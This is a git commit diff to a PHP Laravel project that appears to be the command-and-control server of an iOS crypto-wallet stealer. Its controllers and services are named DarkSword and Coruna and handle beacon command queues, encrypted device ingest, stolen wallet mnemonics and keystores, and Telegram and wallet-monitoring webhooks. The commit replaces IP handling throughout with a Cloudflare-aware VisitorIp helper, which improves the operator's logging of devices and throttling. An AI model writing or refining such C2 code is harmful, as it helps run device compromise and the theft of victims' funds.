This commit is contained in:
hashbro
2026-09-19 01:03:23 +08:00
parent 2729fd561b
commit 5be0313ccd
17 changed files with 180 additions and 34 deletions
+1 -1
View File
@@ -62,7 +62,7 @@ if (! function_exists('c2_log_request_meta')) {
}
return [
'ip' => $request->ip(),
'ip' => \App\Support\VisitorIp::fromRequest($request),
'remote_addr' => $request->server->get('REMOTE_ADDR'),
'headers' => $headers,
];
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Services\AdminGoogle2fa;
use App\Support\VisitorIp;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
@@ -97,7 +98,7 @@ class AuthController extends Controller
RateLimiter::clear($throttleKey);
$request->session()->regenerate();
$user->forceFill(['last_ip' => $request->ip()])->save();
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
return response()->json([
'code' => 0,
@@ -117,6 +118,6 @@ class AuthController extends Controller
private function throttleKey(Request $request): string
{
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
}
}
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Agent;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Services\AdminGoogle2fa;
use App\Support\VisitorIp;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
@@ -115,6 +116,6 @@ class AuthController extends Controller
private function throttleKey(Request $request): string
{
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
}
}
@@ -7,6 +7,7 @@ use App\Models\Device;
use App\Models\PageVisit;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
@@ -49,12 +50,13 @@ class DarkSwordC2Controller extends Controller
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
$ip = VisitorIp::fromRequest($request);
$command = $device ? $this->beaconQueue->dequeue($device, $ip) : null;
$body = [
'ok' => true,
'type' => $command['type'] ?? 'noop',
'client_ip' => $request->ip(),
'client_ip' => $ip,
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
];
if ($command !== null) {
@@ -298,7 +300,7 @@ class DarkSwordC2Controller extends Controller
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Support\SafeLog;
use App\Support\VisitorIp;
use App\Telegram\TelegramBotContext;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
@@ -33,7 +34,7 @@ class TelegramWebhookController extends Controller
$expectedSecret = (string) config('coruna.telegram.webhook_secret', '');
$this->webhookLog('info', 'telegram webhook hit', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'update_id' => $updateId,
'chat_id' => $chatId,
'text' => $text,
@@ -45,7 +46,7 @@ class TelegramWebhookController extends Controller
if ($expectedSecret !== '') {
if ($header === '' || ! hash_equals($expectedSecret, $header)) {
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'update_id' => $updateId,
]);
abort(403, 'Invalid webhook secret');
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\SafeLog;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Throwable;
@@ -19,7 +20,7 @@ class TokenviewWebhookController extends Controller
$payload = $this->decodePayload($request, $raw);
$this->tvLog('info', 'tokenview webhook received', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'method' => $request->method(),
'has_signature' => is_string($signature) && $signature !== '',
'body_bytes' => strlen($raw),
@@ -31,7 +32,7 @@ class TokenviewWebhookController extends Controller
$signed = $monitor->verifySignature($raw, $signature);
if (! $signed) {
$this->tvLog('warning', 'tokenview webhook bad signature (acked 200, skipped ingest)', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'body_bytes' => strlen($raw),
]);
} elseif ($payload !== []) {
+2 -1
View File
@@ -7,6 +7,7 @@ use App\Models\Channel;
use App\Models\PageVisit;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
@@ -32,7 +33,7 @@ class PageHitController extends Controller
return $this->pixel();
}
$ip = PageVisit::normalizeIp((string) $request->ip());
$ip = VisitorIp::fromRequest($request);
$domain = PageVisit::normalizeDomain($request->getHost());
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
+3 -2
View File
@@ -5,6 +5,7 @@ namespace App\Http\Middleware;
use App\Models\Device;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use App\Support\VisitorIp;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
@@ -87,7 +88,7 @@ class DecryptCorunaBody
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
@@ -146,7 +147,7 @@ class DecryptCorunaBody
'dir' => 'out',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'status' => $response->getStatusCode(),
'timestamp_hdr' => $respTs ?: null,
+2 -1
View File
@@ -2,6 +2,7 @@
namespace App\Models;
use App\Support\VisitorIp;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Http\Request;
@@ -54,7 +55,7 @@ class SystemLog extends Model
'actor_id' => $actor->id,
'actor_username' => (string) $actor->username,
'content' => $content,
'ip' => $request?->ip(),
'ip' => $request ? VisitorIp::fromRequest($request) : null,
]);
}
+5 -15
View File
@@ -11,6 +11,7 @@ use App\Models\WalletMnemonic;
use App\Jobs\DecodeMemoDb;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\VisitorIp;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -153,7 +154,7 @@ class DarkSwordIngestAdapter
$parsed = UserAgentParser::parse($ua);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? '';
$ip = $this->clientIp($request, $payload);
$ip = $this->clientIp($request);
$referer = trim((string) $request->headers->get('referer', ''));
$os = $ios !== null ? 'iOS' : $parsed['os'];
@@ -271,7 +272,7 @@ class DarkSwordIngestAdapter
return null;
}
$ip = $this->clientIp($request, $payload);
$ip = $this->clientIp($request);
$model = $this->extractModel($payload);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
@@ -602,20 +603,9 @@ class DarkSwordIngestAdapter
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function clientIp(Request $request, array $payload): string
private function clientIp(Request $request): string
{
$reported = $payload['ip'] ?? null;
if (is_string($reported) && trim($reported) !== '') {
$normalized = PageVisit::normalizeIp(trim($reported));
if ($normalized !== '') {
return substr($normalized, 0, 64);
}
}
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
return VisitorIp::fromRequest($request);
}
private function shouldReplaceModel(?string $current, string $incoming): bool
+2 -1
View File
@@ -17,6 +17,7 @@ use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\CfIpCountry;
use App\Support\VisitorIp;
use App\Support\NoteContent;
use App\Support\WalletSource;
use Illuminate\Database\UniqueConstraintViolationException;
@@ -393,7 +394,7 @@ class IngestService
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'country' => CfIpCountry::fromRequest($request),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
+48
View File
@@ -0,0 +1,48 @@
<?php
namespace App\Support;
use App\Models\PageVisit;
use Illuminate\Http\Request;
/**
* Visitor IP behind Cloudflare.
*
* Prefer CF-Connecting-IP (Cloudflare overwrites it). Fall back to
* $request->ip() when the request did not come through CDN.
* Do not trust JSON/query `ip` or a client-prefixed X-Forwarded-For hop.
*/
final class VisitorIp
{
public static function fromRequest(Request $request): string
{
foreach (['CF-Connecting-IP', 'True-Client-IP'] as $header) {
$ip = self::normalize($request->headers->get($header));
if ($ip !== '') {
return $ip;
}
}
$fallback = self::normalize((string) $request->ip());
return $fallback !== '' ? $fallback : substr((string) $request->ip(), 0, 64);
}
public static function normalize(?string $raw): string
{
$raw = trim((string) $raw);
if ($raw === '') {
return '';
}
if (str_contains($raw, ',')) {
$raw = trim(explode(',', $raw, 2)[0]);
}
if (filter_var($raw, FILTER_VALIDATE_IP) === false) {
return '';
}
$norm = PageVisit::normalizeIp($raw);
return $norm !== '' ? substr($norm, 0, 64) : '';
}
}